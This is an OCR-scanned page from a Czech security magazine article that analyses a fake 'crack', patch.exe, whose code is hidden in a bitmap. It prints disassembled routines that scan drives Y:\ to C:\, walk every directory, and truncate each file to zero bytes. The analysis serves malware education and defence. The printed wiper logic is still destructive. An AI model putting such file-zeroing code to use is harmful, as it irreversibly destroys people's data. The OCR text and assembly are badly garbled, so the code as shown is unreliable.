neni vice souboru: ; CODE XREF: seg000:000000323j, vymaZ soubory+12j
push esi

call [ebxtrozhrani.FindClose]

push ! ;cd ..

push esp

call [ebxtrozhrani.SetCurrentDirectoryA]
pop ecx

popa

retn

vymaz_soubory endp
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push 20h ; " !

call [ebx+rozhrani.SetEndOfFile]
push esi ; zavri soubor
call [ebx+rozhrani.CloseHandle]

; nuluj velkost_ souboru+2Aj
popa
retn

nuluj_velkost souboru endp

VyplS 14. Destruktivni procedura nuluj velkost _ souboru

nuluj velkost souboru proc near ; CODE XREF: vymaZ soubory+19p

pusha

mov eax, [edi+20h] ; rozmér souboru

test eax, eax ; pokud md 0 bajtu, presko¢ ho
jz short preskoc_soubor

lea eax, [edi+2Ch] ; ndzev souboru

; nové atributy pro soubor

push eax ; ndzev souboru

call [ebx+rozhrani.SetFileAttributesA] ; nastav atributy souboru
lea eax, [edi+2Ch]

sub edx, edx

push edx

push 80h ; 'C'

push 3

push edx

push edx

push 40000000h

push eax

call [ebx+rozhrani.CreateFileA]

inc eax ; povedlo se otevieni souboru?

jz short preskoc_soubor; pokud ne, nenuluj soubor

dec eax

xchg eax, esl ; handler souboru nahraj do registru esi
push 0 ; nastav index souboru na jeho pocdtek (FILE BEGIN)
push 0

push 0 ; adresa, na kterou nastavit index souboru

push esi ; handler souboru

call [ebx+rozhrani.SetFilePointer]

push esi ; nastav konec souboru na béZici index (zaddtek souboru),

; co zpusobi ovéri, Ze soubor bude zkrdcen na 0 bajtu

preskoc_soubor: ; CODE XREF: nuluj velkost souboru+6j

Windows 9x, zplsobuje zmrznutni
programu.

Naslednym krokem je ziskani
dodate&nych funkci WinApi pouziva-
nych ukrytym kédem a jejich zapsani
do struktury rozhrani. Déle bude
spusténa procedura skenuj dysky,
ovérujici existenci dal$ich diskd (ko-
necna ¢ast Vypisu 11).

Vyhledavani — skener disku

Vyvolani procedury skenuj dysky
je prvni viditelny znak, Ze cilem
skrytého kédu je destrukce — za
jakym cilem by takzvany crack mél
proCesavat vsechny disky podi-
tace? Skenovani zacina od disku
oznaceném pismenem Y:\ az po,
disk C:\. Pro popsani typu disku je
pouzivana funkce GetbriveTypea(),

ktera po zadani pismena oddilu
vraci jeji typ. Kod procedury se
nachazi na Vypisu 12. Je dobré
si v8imnout, Ze procedura hleda
pouze standardni oddily pevnych
disk( a pomiji disky CD-ROM nebo
sitoveé disky.

Pokud bude nalezen spravny
oddil, bude spustén rekursivni ske-

ner vSech jeho adresaru (procedura
vymaz _soubory — Viz VypIS 13)
Toto je dalsi divod k opodstatnénym
podezienim o destruktivni funkci skry-
tého kédu: skener, pouzitim funkce
FindFirtsFile (), FindNextFile () ataké
SetCurrentDirectory(), prochazi cely
obsah oddilu a vyhledava vSechny
soubory. O tom sveédc¢i pouzita mas-
ka* pro proceduru rindrirstrile().

Duasledek: nulovani soubort
Dosud jsme mohli mit pouze vi-
ceméné opodstatnéla podezfeni,
ze kod skryty v bitmapé&, provadi
nejakou destruktivni cinnost. Na
Vypisu 14 se misto toho nachazi
dikaz zlych zamér( tvarce pro-
gramu patch.exe. Je to procedura
nuluj velkost souboru — ta je Vy-
volana vzdy, kdy procedura vymaz _
soubory nalezne jakykoli soubor
(s libovolnym nazvem a libovolnym
rozsahem).

Tato procedura funguje velmi
jednodusSe. Kazdému dalSimu na-
lezenému souboru je za pomoci
funkce setrileattributesA() Na-
staven archivni atribut. PFesto
budou odstranény jiné atributy,
s tim pouze ke ¢teni (pokud takové
byly nastaveny), chranici soubor
pfed zapisem. Nasledné je soubor
oteviran funkci createrilea() a, po-
kud se otevieni souboru povedlo,
index souboru bude nastaven na
jeho pocatek.

Za tim ucelem procedura pou-
ziva funkci SetFilePointer(), jeﬁi
parametr FILE_BEGIN popisuje
zpUsob nastaveni indexu (v nasem
pfipadé — na zacatek souboru). Po
nastaveni indexu je vyvolana funk-
Ce setEndofFile(), j€jiZ zaddnim je
nastaveni nového rozméru souboru

V siti

dows OllyDbg,

*  http://www.datarescue.com — disasembler IDA Demo for PE,

»  http://webhost.kemtel.ru/~sen/— Sestnactkovy editor Hiew,

*  http://peid.has.it/ - identifikator soubort PEID,

»  http://lakoma.tu-cottbus.de/~herinmi/REDRAGON.HTM — identifikator Filelnfo,

*  http://tinyurl.com/44ej3 — editor zasob eXeScope,

*  http://home.t-online.de/home/Ollydbg — zdarma poskytovany debugger proWin-

»  http://protools.cjb.net — soubor uzite¢nych nastroju k analyze binarnich souboru.
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pfi pouziti bézici pozice indexu
skenuj_disky: v souboru. Jak je vidét, index sou-
pusha boru byl nastaven dfive na jeho za-
push '"\:Y' ; skenovani disku zacina od disku Y:\ Y . . . .
Catek — soubor po této operaci ma
nula bajtl. Po vynulovani souboru
A 4 ) . oo
se kod vraci k rekursivnimu skeno-
nasledujici_disk: P v v o -
push esp ; adresa nazvu disku pro skladidté (Y:\, X:\, W:\ atd.) vani dalSich adresaru pro Vyhleda'
call [ebx+rozhrani.GetDriveTypeA]; GetDriveTypeA ni jln)’/Ch soubort a naivni uzivatel,
sub eax, 3 . . .
cmp coax, 1 ktery spustil soubor patch.exe, ztra-
ja short cdrom_atd ; dal$i bajt pevného disku ci dalsi udaje za disku.
A Analyza takzvaného cracku
false true . . ey et ey :
nam dovolila, nastésti bez spusténi
0000018D: souboru, porozumét jeho funkci,
mov exd, esp . . .
call vymaz._soubory vyhledat skryty kéd a popsat jeho
chovani. Ziskané vysledky jsou jed-
i Y noznacné a hrizostrasné — efekty
cdrom_atd: fungovani malinkého programu
dec byte ptr [esp+0] ; dal$i bajt pevného disku v o .
cmp byte ptr [esp+0], 'C'; ovig, zda dos8lo az k disku C:\ patch.exe nepatrl k prijemnym.
jnb short nasledujici_disk ; opakuj skenovani dalsiho disku Destruktivni kéd vSem nalezenym
soubordm ve vSech oddilech v3ech
diskl nastavuje velikost na 0. V pfi-
false | C0000190: true padé& uloZeni cennych Gdaji mize
pop ecx . . .
7l rpora byt ztrata nevratna. ®
retn

Obrazek 5. Schéma procedury skenovani diskt

PFipraveni struktury CreateThread ()
WinMain () rozhrani obsahujici — spusténi
— pocateéni funkce ™  zakladni funkce > dodate¢ného Vyhledavani Vmware.
aplikace. WinAPI jako vlakna s kodem
GetProcAddress (). skenujicim disky.
I
Y Y ¢ ¢
Nahrani bitmapy Sesbirani ztistatkovych
DialogBoxParama () obsahujici skryty Navrat do :Zr;r:z;nzkli%viiﬁg Pokud je nalezeno
~ —zobrazeni kod ze zasobniku hlavniho potfebnych Vmware, vliakno
dialogového okna. || spousticiho programu. pro skenovani disku. ukon&uje &innost.
souboru.
l \4 Y
WaitForSingleObject () VytaZeni skrytého Skenovani systému
— gekani, az skoni kodu ze zakladnich vyhledavanim oddili
fung(}vam spustene’ho barev RGB pevnych diskl
viakna na pozadi. nahrané bitmapy. od Y:\do C:\.
Y Y l
Rekurzivni
L o skenovani
Ukonceni fungovani Spusténi || viech adresafu na
aplikace. skrytého kodu. dal$im oddilu
pevného disku.
azdému nalezenému
souboru je nastavena
nové velikost
rovnajici se [1 bajtl.

Obrazek 6. Schéma fungovani podezielého programu

12 www. haking.org Hakin9 Nr 1,/2005



